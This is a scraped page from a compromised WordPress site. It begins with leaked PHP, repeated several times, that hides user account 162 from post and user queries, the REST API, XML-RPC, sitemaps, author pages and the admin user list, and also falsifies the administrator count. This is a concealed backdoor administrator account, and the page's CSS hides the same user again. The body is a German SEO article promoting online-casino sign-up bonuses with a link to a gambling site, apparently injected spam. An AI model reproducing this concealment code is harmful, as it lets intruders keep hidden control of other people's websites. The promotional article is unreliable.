add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 162;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 162 );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 162;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 162;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-162{display:none!important}</style>';
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 162;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 162 );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 162;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 162;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-162{display:none!important}</style>';
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 162;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 162 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 162 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 162;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 162;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 162;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/162(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 162;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-162{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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<title>Strategien zur Kundenbindung im digitalen Zeitalter: Die Bedeutung von Neukunden Boni &#8211; Funtime </title>
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var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-foreground-border-color{border-color: var(--wp--preset--color--foreground) !important;}.has-background-border-color{border-color: var(--wp--preset--color--background) !important;}.has-primary-border-color{border-color: var(--wp--preset--color--primary) !important;}.has-secondary-border-color{border-color: var(--wp--preset--color--secondary) !important;}.has-tertiary-border-color{border-color: var(--wp--preset--color--tertiary) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-vertical-secondary-to-tertiary-gradient-background{background: var(--wp--preset--gradient--vertical-secondary-to-tertiary) !important;}.has-vertical-secondary-to-background-gradient-background{background: var(--wp--preset--gradient--vertical-secondary-to-background) !important;}.has-vertical-tertiary-to-background-gradient-background{background: var(--wp--preset--gradient--vertical-tertiary-to-background) !important;}.has-diagonal-primary-to-foreground-gradient-background{background: var(--wp--preset--gradient--diagonal-primary-to-foreground) !important;}.has-diagonal-secondary-to-background-gradient-background{background: var(--wp--preset--gradient--diagonal-secondary-to-background) !important;}.has-diagonal-background-to-secondary-gradient-background{background: var(--wp--preset--gradient--diagonal-background-to-secondary) !important;}.has-diagonal-tertiary-to-background-gradient-background{background: var(--wp--preset--gradient--diagonal-tertiary-to-background) !important;}.has-diagonal-background-to-tertiary-gradient-background{background: var(--wp--preset--gradient--diagonal-background-to-tertiary) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-system-font-font-family{font-family: var(--wp--preset--font-family--system-font) !important;}.has-source-serif-pro-font-family{font-family: var(--wp--preset--font-family--source-serif-pro) !important;}tr#user-162,tr#user_162{display:none!important}
:root :where(.wp-block-button .wp-block-button__link){background-color: var(--wp--preset--color--primary);border-radius: 0;color: var(--wp--preset--color--background);font-size: var(--wp--preset--font-size--medium);}
:root :where(.wp-block-post-title){font-family: var(--wp--preset--font-family--source-serif-pro);font-size: var(--wp--custom--typography--font-size--gigantic);font-weight: 300;line-height: var(--wp--custom--typography--line-height--tiny);}
:root :where(.wp-block-site-title){font-family: var(--wp--preset--font-family--system-font);font-size: var(--wp--preset--font-size--medium);font-style: italic;font-weight: normal;line-height: var(--wp--custom--typography--line-height--normal);}
</style>
<style id='core-block-supports-inline-css'>
.wp-container-core-navigation-is-layout-1{justify-content:flex-end;}.wp-container-core-group-is-layout-2{justify-content:space-between;}.wp-container-core-group-is-layout-8{justify-content:space-between;}
</style>
<style id='wp-block-template-skip-link-inline-css'>

		.skip-link.screen-reader-text {
			border: 0;
			clip: rect(1px,1px,1px,1px);
			clip-path: inset(50%);
			height: 1px;
			margin: -1px;
			overflow: hidden;
			padding: 0;
			position: absolute !important;
			width: 1px;
			word-wrap: normal !important;
		}

		.skip-link.screen-reader-text:focus {
			background-color: #eee;
			clip: auto !important;
			clip-path: none;
			color: #444;
			display: block;
			font-size: 1em;
			height: auto;
			left: 5px;
			line-height: normal;
			padding: 15px 23px 14px;
			text-decoration: none;
			top: 5px;
			width: auto;
			z-index: 100000;
		}
</style>
<link rel='stylesheet' id='contact-form-7-css' href='https://funtime.ma/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.5.3' media='all' />
<link rel='stylesheet' id='rs-plugin-settings-css' href='https://funtime.ma/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.2.12' media='all' />
<style id='rs-plugin-settings-inline-css'>
#rs-demo-id {}
</style>
<link rel='stylesheet' id='woocommerce-layout-css' href='https://funtime.ma/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=6.1.0' media='all' />
<link rel='stylesheet' id='woocommerce-smallscreen-css' href='https://funtime.ma/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=6.1.0' media='only screen and (max-width: 768px)' />
<link rel='stylesheet' id='woocommerce-general-css' href='https://funtime.ma/wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=6.1.0' media='all' />
<style id='woocommerce-inline-inline-css'>
.woocommerce form .form-row .required { visibility: visible; }
</style>
<link rel='stylesheet' id='fontawesome-css-4-css' href='https://funtime.ma/wp-content/plugins/wp-font-awesome/font-awesome/css/font-awesome.min.css?ver=1.7.6' media='all' />
<link rel='stylesheet' id='fontawesome-css-5-css' href='https://funtime.ma/wp-content/plugins/wp-font-awesome/font-awesome/css/fontawesome-all.min.css?ver=1.7.6' media='all' />
<link rel='stylesheet' id='twentytwentytwo-style-css' href='https://funtime.ma/wp-content/themes/twentytwentytwo/style.css?ver=1.5' media='all' />
<link rel='stylesheet' id='qlwapp-css' href='https://funtime.ma/wp-content/plugins/wp-whatsapp-chat/assets/frontend/css/frontend.css?ver=5.0.0' media='all' />
<link rel='stylesheet' id='popup-maker-site-css' href='https://funtime.ma/wp-content/plugins/popup-maker/assets/css/pum-site.min.css?ver=1.16.2' media='all' />
<style id='popup-maker-site-inline-css'>
/* Popup Google Fonts */
@import url('//fonts.googleapis.com/css?family=Montserrat:100');

/* Popup Theme 1466: Contenu uniquement. Pour l’utilisation avec les constructeurs de page ou l’éditeur de bloc. */
.pum-theme-1466, .pum-theme-content-only { background-color: rgba( 0, 0, 0, 0.70 ) } 
.pum-theme-1466 .pum-container, .pum-theme-content-only .pum-container { padding: 0px; border-radius: 0px; border: 1px none #000000; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.00 ) } 
.pum-theme-1466 .pum-title, .pum-theme-content-only .pum-title { color: #000000; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 400; font-size: 32px; line-height: 36px } 
.pum-theme-1466 .pum-content, .pum-theme-content-only .pum-content { color: #8c8c8c; font-family: inherit; font-weight: 400 } 
.pum-theme-1466 .pum-content + .pum-close, .pum-theme-content-only .pum-content + .pum-close { position: absolute; height: 18px; width: 18px; left: auto; right: 7px; bottom: auto; top: 7px; padding: 0px; color: #000000; font-family: inherit; font-weight: 700; font-size: 20px; line-height: 20px; border: 1px none #ffffff; border-radius: 15px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.00 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.00 ); background-color: rgba( 255, 255, 255, 0.00 ) } 

/* Popup Theme 781: Default Theme */
.pum-theme-781, .pum-theme-default-theme { background-color: rgba( 255, 255, 255, 0.20 ) } 
.pum-theme-781 .pum-container, .pum-theme-default-theme .pum-container { padding: 18px; border-radius: 0px; border: 1px none #000000; box-shadow: 1px 1px 3px 0px rgba( 2, 2, 2, 0.23 ); background-color: rgba( 245, 248, 253, 1.00 ) } 
.pum-theme-781 .pum-title, .pum-theme-default-theme .pum-title { color: #000000; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 400; font-size: 18px; line-height: 8px } 
.pum-theme-781 .pum-content, .pum-theme-default-theme .pum-content { color: #000000; font-family: Sans-Serif; font-weight: 500 } 
.pum-theme-781 .pum-content + .pum-close, .pum-theme-default-theme .pum-content + .pum-close { position: absolute; height: 28px; width: 28px; left: auto; right: 4px; bottom: auto; top: 6px; padding: 0px; color: #ffffff; font-family: inherit; font-weight: 100; font-size: 15px; line-height: 8px; border: 1px none #ffffff; border-radius: 28px; box-shadow: 1px 1px 3px 0px rgba( 2, 2, 2, 0.23 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 235, 37, 86, 1.00 ) } 

/* Popup Theme 782: Light Box */
.pum-theme-782, .pum-theme-lightbox { background-color: rgba( 0, 0, 0, 0.60 ) } 
.pum-theme-782 .pum-container, .pum-theme-lightbox .pum-container { padding: 18px; border-radius: 3px; border: 8px solid #000000; box-shadow: 0px 0px 30px 0px rgba( 2, 2, 2, 1.00 ); background-color: rgba( 255, 255, 255, 1.00 ) } 
.pum-theme-782 .pum-title, .pum-theme-lightbox .pum-title { color: #000000; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 100; font-size: 32px; line-height: 36px } 
.pum-theme-782 .pum-content, .pum-theme-lightbox .pum-content { color: #000000; font-family: inherit; font-weight: 100 } 
.pum-theme-782 .pum-content + .pum-close, .pum-theme-lightbox .pum-content + .pum-close { position: absolute; height: 26px; width: 26px; left: auto; right: -13px; bottom: auto; top: -13px; padding: 0px; color: #ffffff; font-family: Arial; font-weight: 100; font-size: 24px; line-height: 24px; border: 2px solid #ffffff; border-radius: 26px; box-shadow: 0px 0px 15px 1px rgba( 2, 2, 2, 0.75 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 0, 0, 0, 1.00 ) } 

/* Popup Theme 783: Enterprise Blue */
.pum-theme-783, .pum-theme-enterprise-blue { background-color: rgba( 0, 0, 0, 0.70 ) } 
.pum-theme-783 .pum-container, .pum-theme-enterprise-blue .pum-container { padding: 28px; border-radius: 5px; border: 1px none #000000; box-shadow: 0px 10px 25px 4px rgba( 2, 2, 2, 0.50 ); background-color: rgba( 255, 255, 255, 1.00 ) } 
.pum-theme-783 .pum-title, .pum-theme-enterprise-blue .pum-title { color: #315b7c; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 100; font-size: 34px; line-height: 36px } 
.pum-theme-783 .pum-content, .pum-theme-enterprise-blue .pum-content { color: #2d2d2d; font-family: inherit; font-weight: 100 } 
.pum-theme-783 .pum-content + .pum-close, .pum-theme-enterprise-blue .pum-content + .pum-close { position: absolute; height: 28px; width: 28px; left: auto; right: 8px; bottom: auto; top: 8px; padding: 4px; color: #ffffff; font-family: Times New Roman; font-weight: 100; font-size: 20px; line-height: 20px; border: 1px none #ffffff; border-radius: 42px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.23 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 49, 91, 124, 1.00 ) } 

/* Popup Theme 784: Hello Box */
.pum-theme-784, .pum-theme-hello-box { background-color: rgba( 0, 0, 0, 0.75 ) } 
.pum-theme-784 .pum-container, .pum-theme-hello-box .pum-container { padding: 30px; border-radius: 80px; border: 14px solid #81d742; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.00 ); background-color: rgba( 255, 255, 255, 1.00 ) } 
.pum-theme-784 .pum-title, .pum-theme-hello-box .pum-title { color: #2d2d2d; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: Montserrat; font-weight: 100; font-size: 32px; line-height: 36px } 
.pum-theme-784 .pum-content, .pum-theme-hello-box .pum-content { color: #2d2d2d; font-family: inherit; font-weight: 100 } 
.pum-theme-784 .pum-content + .pum-close, .pum-theme-hello-box .pum-content + .pum-close { position: absolute; height: auto; width: auto; left: auto; right: -30px; bottom: auto; top: -30px; padding: 0px; color: #2d2d2d; font-family: Times New Roman; font-weight: 100; font-size: 32px; line-height: 28px; border: 1px none #ffffff; border-radius: 28px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.23 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 255, 255, 255, 1.00 ) } 

/* Popup Theme 785: Cutting Edge */
.pum-theme-785, .pum-theme-cutting-edge { background-color: rgba( 0, 0, 0, 0.50 ) } 
.pum-theme-785 .pum-container, .pum-theme-cutting-edge .pum-container { padding: 18px; border-radius: 0px; border: 1px none #000000; box-shadow: 0px 10px 25px 0px rgba( 2, 2, 2, 0.50 ); background-color: rgba( 30, 115, 190, 1.00 ) } 
.pum-theme-785 .pum-title, .pum-theme-cutting-edge .pum-title { color: #ffffff; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: Sans-Serif; font-weight: 100; font-size: 26px; line-height: 28px } 
.pum-theme-785 .pum-content, .pum-theme-cutting-edge .pum-content { color: #ffffff; font-family: inherit; font-weight: 100 } 
.pum-theme-785 .pum-content + .pum-close, .pum-theme-cutting-edge .pum-content + .pum-close { position: absolute; height: 24px; width: 24px; left: auto; right: 0px; bottom: auto; top: 0px; padding: 0px; color: #1e73be; font-family: Times New Roman; font-weight: 100; font-size: 32px; line-height: 24px; border: 1px none #ffffff; border-radius: 0px; box-shadow: -1px 1px 1px 0px rgba( 2, 2, 2, 0.10 ); text-shadow: -1px 1px 1px rgba( 0, 0, 0, 0.10 ); background-color: rgba( 238, 238, 34, 1.00 ) } 

/* Popup Theme 786: Framed Border */
.pum-theme-786, .pum-theme-framed-border { background-color: rgba( 255, 255, 255, 0.50 ) } 
.pum-theme-786 .pum-container, .pum-theme-framed-border .pum-container { padding: 18px; border-radius: 0px; border: 20px outset #dd3333; box-shadow: 1px 1px 3px 0px rgba( 2, 2, 2, 0.97 ) inset; background-color: rgba( 255, 251, 239, 1.00 ) } 
.pum-theme-786 .pum-title, .pum-theme-framed-border .pum-title { color: #000000; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 100; font-size: 32px; line-height: 36px } 
.pum-theme-786 .pum-content, .pum-theme-framed-border .pum-content { color: #2d2d2d; font-family: inherit; font-weight: 100 } 
.pum-theme-786 .pum-content + .pum-close, .pum-theme-framed-border .pum-content + .pum-close { position: absolute; height: 20px; width: 20px; left: auto; right: -20px; bottom: auto; top: -20px; padding: 0px; color: #ffffff; font-family: Tahoma; font-weight: 700; font-size: 16px; line-height: 18px; border: 1px none #ffffff; border-radius: 0px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.23 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 0, 0, 0, 0.55 ) } 

/* Popup Theme 787: Floating Bar - Soft Blue */
.pum-theme-787, .pum-theme-floating-bar { background-color: rgba( 255, 255, 255, 0.00 ) } 
.pum-theme-787 .pum-container, .pum-theme-floating-bar .pum-container { padding: 8px; border-radius: 0px; border: 1px none #000000; box-shadow: 1px 1px 3px 0px rgba( 2, 2, 2, 0.23 ); background-color: rgba( 238, 246, 252, 1.00 ) } 
.pum-theme-787 .pum-title, .pum-theme-floating-bar .pum-title { color: #505050; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 400; font-size: 32px; line-height: 36px } 
.pum-theme-787 .pum-content, .pum-theme-floating-bar .pum-content { color: #505050; font-family: inherit; font-weight: 400 } 
.pum-theme-787 .pum-content + .pum-close, .pum-theme-floating-bar .pum-content + .pum-close { position: absolute; height: 18px; width: 18px; left: auto; right: 5px; bottom: auto; top: 50%; padding: 0px; color: #505050; font-family: Sans-Serif; font-weight: 700; font-size: 15px; line-height: 18px; border: 1px solid #505050; border-radius: 15px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.00 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.00 ); background-color: rgba( 255, 255, 255, 0.00 ); transform: translate(0, -50%) } 

#pum-788 {z-index: 1999999999}
#pum-3975 {z-index: 1999999999}
#pum-2984 {z-index: 1999999999}
#pum-1755 {z-index: 1999999999}
#pum-1752 {z-index: 1999999999}

</style>
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<div class="entry-content wp-block-post-content is-layout-constrained wp-block-post-content-is-layout-constrained"><p>In der sich ständig wandelnden Landschaft des Online-Glücksspiels und der digitalen Dienstleistungen sind Anbieter stets bemüht, ihre Marktposition zu stärken und die Kundenzufriedenheit zu maximieren. Eine zentrale Rolle in diesem Kontext spielt die Neukundenakquise, die mit gezielten Anreizsystemen wie sogenannten <a href="https://tikitaka.co.at/"><strong>neukunden bonus</strong></a> effektiver gestaltet werden kann. Doch wie setzen Unternehmen diese Instrumente richtig ein? Und welche Rolle spielen sie in einer umfassenden Customer Journey Strategie? Dieser Artikel analysiert die Bedeutung solcher Bonusangebote, ihre Wirksamkeit sowie die Herausforderungen und Chancen, die mit ihrer Verwendung verbunden sind.</p>
<div class="section">
<h2>Der Trend der Neukunden-Boni im Online-Gaming und darüber hinaus</h2>
<p>Betaal- und Glücksspiele, Sportwetten, Casino-Plattformen: Fast alle digitalen Anbieter setzen heute auf attraktive <strong>neukunden bonus</strong>-Programme, um potenzielle Nutzer zu gewinnen. Laut einer Studie des Branchenverbands der Online-Glücksspielindustrie wurden im Jahr 2022 über 65 % aller neuen Plattform-Registrierungen durch Willkommensangebote beeinflusst. Diese Boni, vom Gratis-Willkommensgeld bis zu Free Spins, sind nicht nur ein Bestandteil der Nutzerakquise, sondern auch ein Mittel zur langfristigen Bindung.</p>
<table>
<caption style="margin-bottom: 1rem; font-weight: bold;">Vergleich gängiger Neukundenboni im Jahr 2023</caption>
<thead>
<tr>
<th>Angebotsart</th>
<th>Beispiel</th>
<th>Durchschnittlicher Bonuswert</th>
<th>Vorteile</th>
</tr>
</thead>
<tbody>
<tr>
<td>Willkommensbonus (100%)</td>
<td>Einzahlung €50 → €100 Bonus</td>
<td>bis zu €200 / 200%</td>
<td>Hohe Anziehungskraft, erhöhte ersteinsatzfähigkeit</td>
</tr>
<tr>
<td>Free Spins</td>
<td>20 Free Spins auf Slots</td>
<td>10 – 50 Free Spins</td>
<td>Engagement auf Slots, niedrigere Risiko-Konzepte</td>
</tr>
<tr>
<td>Keine Einzahlungsboni</td>
<td>€10 Gratis bei Registrierung</td>
<td>€5 – €20</td>
<td>Attraktiv für kurzfristige Testphase</td>
</tr>
</tbody>
</table>
</div>
<div class="section">
<h2>Psychologische und ökonomische Grundlagen der Bonuspolitik</h2>
<p>Der Einsatz von <strong>neukunden bonus</strong> ist tief in bekannten Verhaltensmustern verankert. Die Prinzipien der « Reziprozität » und des « Anreizes » treiben einen Großteil des Nutzerverhaltens an. Anbieter setzen auf die sogenannte <em>Endowment-Effekt</em>-Psychologie: einmal investiert, investieren Nutzer eher weiter, was durch Bonusangebote erleichtert wird.</p>
<blockquote><p>
« Ein verlockender Bonus ist oftmals der erste Kontaktpunkt zwischen Anbieter und Nutzer — schwierig, ihn wieder zu verlieren, sobald die initiale Erfahrung positiv war. » – Dr. Franziska Weber, Branchenanalystin
</p></blockquote>
<p>Aus ökonomischer Sicht erhöhen Boni die durchschnittliche Kundenlebenszeit und die durchschnittlichen Umsätze pro Nutzer. Analysen von Casino- und Wettplattformen belegen, dass <em>aktive Neukunden</em> mit einem durchschnittlichen Umsatz von 250 € im ersten Monat signifikant höher sind, wenn sie durch attraktive Bonusangebote akquiriert wurden.</p>
</div>
<div class="section">
<h2>Risiken und regulatorische Herausforderungen</h2>
<p>Während Boni für Anbieter eine effektive Strategie darstellen, bergen sie auch Risiken. Missbrauch, Manipulation und unrealistische Erwartungen sind permanente Herausforderungen. Viele Jurisdiktionen, darunter Österreich, haben bereits Maßnahmen ergriffen, um den « Bonus-Jackpot » zu regulieren und Verbraucherschutz zu gewährleisten. Es gilt, das Gleichgewicht zu finden zwischen attraktiven Angeboten und nachhaltiger, verantwortungsvoller Kundenbindung.</p>
<div class="callout">
<p>Ein innovativer Ansatz ist das Angebot transparent gestalteter neukunden bonus-Modelle, die klare Bedingungen, faire Gewinnlinien und verantwortungsvolle Limits integrieren.</p>
</div>
<h2>Best Practices für die Gestaltung effektiver Neukundenbonus-Strategien</h2>
<ul>
<li><strong>Klarheit &amp; Transparenz:</strong> Offenlegung aller Bedingungen erhöht das Vertrauen.</li>
<li><strong>Personalisierung:</strong> Zielgruppenspezifische Angebote steigern die Conversionrate.</li>
<li><strong>Nutzung multikanaler Kampagnen:</strong> Integration von Social Media, E-Mail Marketing und Website-Bromf.</li>
<li><strong>Verantwortung &amp; Nachhaltigkeit:</strong> Begrenzung des Bonusvolumens, um Glücksspielsucht vorzubeugen.</li>
<li><strong>Analytik &amp; Feedback:</strong> Kontinuierliche Überwachung und Optimierung der Bonus-Performance.</li>
</ul>
<div class="section">
<h2>Fazit: Neukundenbonus als strategisches Element im digitalen Zeitalter</h2>
<p>In der dynamischen und stark umkämpften Welt des digitalen Marketings ist der <strong>neukunden bonus</strong> ein unverzichtbares Instrument, um die erste Kontaktaufnahme zu maximieren und Nutzer langfristig an das Angebot zu binden. Die Herausforderung besteht darin, diese Angebote so zu gestalten, dass sie sowohl den Erwartungen der Nutzer gerecht werden als auch den regulatorischen Rahmen einhalten. Anbieter, die innovative, transparente und verantwortungsvolle Bonusstrategien verfolgen, positionieren sich nicht nur als Marktführer, sondern stärken auch das Vertrauen der Nutzer in eine sichere und faire digitale Erlebniswelt.</p>
<p>Weitere Einblicke und konkrete Beispiele finden Sie auf diese Plattform, die sich auf die Entwicklung von nachhaltigen und hochwertigen Bonusprogrammen spezialisiert hat.</p>
</div>
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<div class="wp-block-group is-layout-flex wp-block-group-is-layout-flex"><div style="font-style:italic;font-weight:400;" class="wp-block-post-date has-small-font-size"><time datetime="2025-07-07T08:32:42+00:00">juillet 7, 2025</time></div>

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